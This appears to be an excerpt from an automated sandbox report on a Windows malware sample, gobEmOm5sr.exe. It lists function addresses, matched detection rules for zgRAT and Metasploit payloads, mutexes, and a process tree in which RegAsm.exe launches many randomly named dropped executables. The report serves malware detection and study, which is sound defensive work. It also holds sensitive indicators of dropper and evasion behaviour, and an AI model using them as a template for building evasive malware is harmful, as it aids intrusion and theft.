Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Code function: 0_2_05DF0007	0_2_05DF0007
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Code function: 0_2_05DF6E80	0_2_05DF6E80
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Code function: 0_2_05DF6E73	0_2_05DF6E73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004CF160	2_2_004CF160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00481170	2_2_00481170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042C1F0	2_2_0042C1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0046D250	2_2_0046D250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00436230	2_2_00436230
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004302C0	2_2_004302C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00431360	2_2_00431360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00451300	2_2_00451300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004213A0	2_2_004213A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004424E0	2_2_004424E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00508650	2_2_00508650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00437680	2_2_00437680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00434690	2_2_00434690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00433760	2_2_00433760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047E8A0	2_2_0047E8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004348B0	2_2_004348B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00440A90	2_2_00440A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00426D90	2_2_00426D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0054D02A	2_2_0054D02A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004210E0	2_2_004210E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00543169	2_2_00543169
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00402100	2_2_00402100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042D100	2_2_0042D100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042A1E0	2_2_0042A1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00516190	2_2_00516190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005121A0	2_2_005121A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004432C0	2_2_004432C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005612E0	2_2_005612E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004242B0	2_2_004242B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00423470	2_2_00423470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B5E0	2_2_0040B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00405640	2_2_00405640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00422640	2_2_00422640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00402630	2_2_00402630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044A710	2_2_0044A710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005427C0	2_2_005427C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0054F7F8	2_2_0054F7F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005667ED	2_2_005667ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00421820	2_2_00421820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00425820	2_2_00425820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00551830	2_2_00551830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042C8E0	2_2_0042C8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042D8B0	2_2_0042D8B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041E9E0	2_2_0041E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00561EFC	2_2_00561EFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401E90	2_2_00401E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00440FF0	2_2_00440FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00515F95	2_2_00515F95
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_02BFA3D8	6_2_02BFA3D8
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_02BFA3CA	6_2_02BFA3CA
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_02BFA180	6_2_02BFA180
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_02BFA174	6_2_02BFA174
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_053594C0	6_2_053594C0
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_0535E710	6_2_0535E710
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_053556D0	6_2_053556D0
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_053581C0	6_2_053581C0
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_053515A8	6_2_053515A8
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_053594B0	6_2_053594B0
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_0535E700	6_2_0535E700
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_0535A630	6_2_0535A630
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_0535A640	6_2_0535A640
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_053556CA	6_2_053556CA
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_053581B0	6_2_053581B0
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_0535B9B0	6_2_0535B9B0
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_0535B9A2	6_2_0535B9A2
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_053689C8	6_2_053689C8
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_05686B88	6_2_05686B88
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_056809C8	6_2_056809C8
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_056809B7	6_2_056809B7
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Code function: 6_2_05683BD4	6_2_05683BD4
Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe	Code function: 7_2_0040840C	7_2_0040840C
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Code function: 8_2_01372DD0	8_2_01372DD0
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Code function: 8_2_01372C60	8_2_01372C60
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Code function: 9_2_017D6398	9_2_017D6398
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Code function: 9_2_017D638B	9_2_017D638B
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Code function: 9_2_017D65FA	9_2_017D65FA
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Code function: 9_2_017D6608	9_2_017D6608
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61EAD2AC	17_2_61EAD2AC
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E4B8A1	17_2_61E4B8A1
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E75F1F	17_2_61E75F1F
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E40065	17_2_61E40065
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E9E24F	17_2_61E9E24F
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E62554	17_2_61E62554
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E9A4A7	17_2_61E9A4A7
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E4E4BF	17_2_61E4E4BF
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E94783	17_2_61E94783
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E7A790	17_2_61E7A790
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E18736	17_2_61E18736
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E86668	17_2_61E86668
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E58670	17_2_61E58670
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E6667F	17_2_61E6667F
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61EA0BA9	17_2_61EA0BA9
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E62CA3	17_2_61E62CA3
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E98FE2	17_2_61E98FE2
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E88FCA	17_2_61E88FCA
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E52F80	17_2_61E52F80
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61EA2F47	17_2_61EA2F47
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E56F18	17_2_61E56F18
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E4CEF9	17_2_61E4CEF9
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E1EEFF	17_2_61E1EEFF
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61EA91F6	17_2_61EA91F6
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E651DD	17_2_61E651DD
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E9316A	17_2_61E9316A
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E9F0ED	17_2_61E9F0ED
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61EA70CF	17_2_61EA70CF
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E9D0C3	17_2_61E9D0C3
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E8D0B6	17_2_61E8D0B6
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E6904E	17_2_61E6904E
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E4304E	17_2_61E4304E
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E15337	17_2_61E15337
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E672DC	17_2_61E672DC
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E19208	17_2_61E19208
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E534E3	17_2_61E534E3
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E77452	17_2_61E77452
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E37930	17_2_61E37930
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E21816	17_2_61E21816
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E9FBF0	17_2_61E9FBF0
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E55BD7	17_2_61E55BD7
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61EA5B62	17_2_61EA5B62
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E91DC1	17_2_61E91DC1
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E6DDA5	17_2_61E6DDA5
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E31DAB	17_2_61E31DAB
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E95D7A	17_2_61E95D7A
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E5BC4C	17_2_61E5BC4C
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E25FA2	17_2_61E25FA2
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E1DEC2	17_2_61E1DEC2
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E69E8F	17_2_61E69E8F
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Code function: 17_2_61E89E0E	17_2_61E89E0E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Security

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: String function: 0053E310 appears 39 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 8032 -ip 8032

Source: gobEmOm5sr.exe, 00000000.00000000.1648178201.0000000000EDE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamegithubsoft.exe$ vs gobEmOm5sr.exe
Source: gobEmOm5sr.exe, 00000000.00000002.1663531403.0000000005A90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamewMwlL.dll0 vs gobEmOm5sr.exe
Source: gobEmOm5sr.exe, 00000000.00000002.1654904203.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs gobEmOm5sr.exe
Source: gobEmOm5sr.exe, 00000000.00000002.1653570036.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs gobEmOm5sr.exe
Source: gobEmOm5sr.exe, 00000000.00000002.1663150655.0000000005790000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePE.dll& vs gobEmOm5sr.exe
Source: gobEmOm5sr.exe, 00000000.00000002.1654904203.00000000050CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs gobEmOm5sr.exe

Source: gobEmOm5sr.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 25.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 15.2.1YtOZF0EeqgcR_ddwAXkTcuY.exe.3cc5570.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0000000A.00000002.2204897517.000000000196E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000010.00000002.2284303938.00000000027E4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 0000000A.00000002.2204897517.0000000001A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000010.00000002.2284303938.0000000002B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: 0.2.gobEmOm5sr.exe.5790000.5.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.gobEmOm5sr.exe.5790000.5.raw.unpack, Ca01BQGh9DxiBOJwup.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@95/138@13/24

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

Code function: 7_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

7_2_00409448

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

Code function: 7_2_00409BEC FindResourceA,SizeofResource,LoadResource,LockResource,

7_2_00409BEC

Source: C:\Users\user\Desktop\gobEmOm5sr.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\gobEmOm5sr.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8032
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\UipomonaWW_2
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess8024
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Mutant created: \Sessions\1\BaseNamedObjects\IntelPowerEExpert
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8168:120:WilError_03

Source: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe

File created: C:\Users\user\AppData\Local\Temp\is-9E297.tmp

Jump to behavior

Source: gobEmOm5sr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: gobEmOm5sr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.69%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Program Files (x86)\desktop.ini

Source: C:\Users\user\Desktop\gobEmOm5sr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-9E297.tmp\PsIhedmEA44FNRssEU8V9OlH.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Users\user\AppData\Local\NewStar\newstar.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\NewStar\newstar.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: gobEmOm5sr.exe	ReversingLabs: Detection: 55%
Source: gobEmOm5sr.exe	Virustotal: Detection: 53%

Source: lenTsqDIajevXTuJaJ03oKGb.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\gobEmOm5sr.exe "C:\Users\user\Desktop\gobEmOm5sr.exe"
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe C:\Users\user\Documents\iofolko5\PsIhedmEA44FNRssEU8V9OlH.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe C:\Users\user\Documents\iofolko5\JJdIaooFQpkpcWNUCJ71mJDj.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
